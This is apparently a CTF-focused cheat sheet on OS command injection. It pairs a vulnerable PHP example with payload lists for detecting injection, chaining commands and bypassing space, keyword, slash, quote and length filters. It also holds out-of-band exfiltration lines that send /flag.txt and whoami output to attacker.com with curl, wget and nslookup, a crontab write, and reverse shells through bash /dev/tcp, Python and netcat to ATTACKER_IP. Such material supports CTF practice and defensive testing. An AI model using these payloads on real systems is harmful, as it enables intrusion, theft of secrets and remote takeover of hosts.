Command Injection
Detect and exploit OS command injection vulnerabilities in CTF web challenges.
Command Injection
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.
This attack differs from Code Injection, in that code injection allows the attacker to add their own code that is then executed by the application. In Command Injection, the attacker extends the default functionality of the application, which execute system commands, without the necessity of injecting code.
How It Works
// Vulnerable PHP code
$host = $_GET['host'];
$output = shell_exec("ping -c 1 " . $host);
// Input: "8.8.8.8; cat /flag.txt"
// Executes: ping -c 1 8.8.8.8; cat /flag.txtDetection Payloads
Test for injection with time-delay:
; sleep 5
| sleep 5
|| sleep 5
& sleep 5
`sleep 5`
$(sleep 5)Or with out-of-band:
; curl http://your-server.com/$(whoami)
| nslookup `whoami`.your-server.comSeparator Cheat Sheet
; command # run command after previous finishes
| command # pipe (stdout of first to stdin of second)
|| command # run if previous FAILS
& command # run in background / after
&& command # run if previous SUCCEEDS
`command` # backtick substitution (run and insert output)
$(command) # subshell substitution
\n command # newline separator
%0a command # URL-encoded newlineGetting Output
; cat /flag.txt
; cat /flag.txt > /var/www/html/flag_output.txt # write to webroot
; curl http://attacker.com/$(cat /flag.txt | base64) # OOB
; wget http://attacker.com/?f=$(cat /flag.txt | base64 -w 0)Filter Bypass Techniques
Space filters
# Use IFS (Internal Field Separator)
cat${IFS}/etc/passwd
cat$IFS/flag.txt
# Braces
{cat,/flag.txt}
# Tab character
cat /flag.txt # actual tab
cat%09/flag.txt # URL-encoded tabKeyword filters (e.g., cat blocked)
# Alternative read commands
more /flag.txt
less /flag.txt
head /flag.txt
tail /flag.txt
tac /flag.txt # reverse cat
nl /flag.txt # number lines
strings /flag.txt
xxd /flag.txt
# Bash variable tricks
c=ca;t=t;$c$t /flag.txt
# Wildcard
/bin/ca? /flag.txt
ca'' t /flag.txt # empty string in middleSlash filters
# Use environment variables
${PATH:0:1} # = "/" (first char of /usr/bin:...)
echo ${PATH:0:1}etc${PATH:0:1}passwd
# Command substitution
$(printf "\57") # 57 = ASCII for '/'Quote bypass
# Single quotes don't expand variables
'c'a't' /flag.txt
# Mixed
c"a"t /flag.txtLength limits (very short payload)
# If limit is ~10 chars, use redirection to build commands
>ls\
>-la\
ls -la # builds "ls -la" across three writes
# Or write to crontab:
* * * * * cat /flag > /var/www/html/fBlind Command Injection
No output? Use time-based or OOB:
# Time-based detection
; sleep 5
; ping -c 5 127.0.0.1
# DNS OOB
; nslookup `cat /flag.txt | head -c 20`.attacker.com
; curl http://attacker.com/$(cat /flag.txt | base64 | tr -d '\n')Reverse Shell
Once injection is confirmed, get an interactive shell:
# bash reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# URL-encoded
bash%20-i%20>%26%20/dev/tcp/ATTACKER_IP/4444%200>%261
# Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
# netcat (if -e flag available)
nc ATTACKER 4444 -e /bin/bashSet up listener:
nc -lvnp 4444Last updated on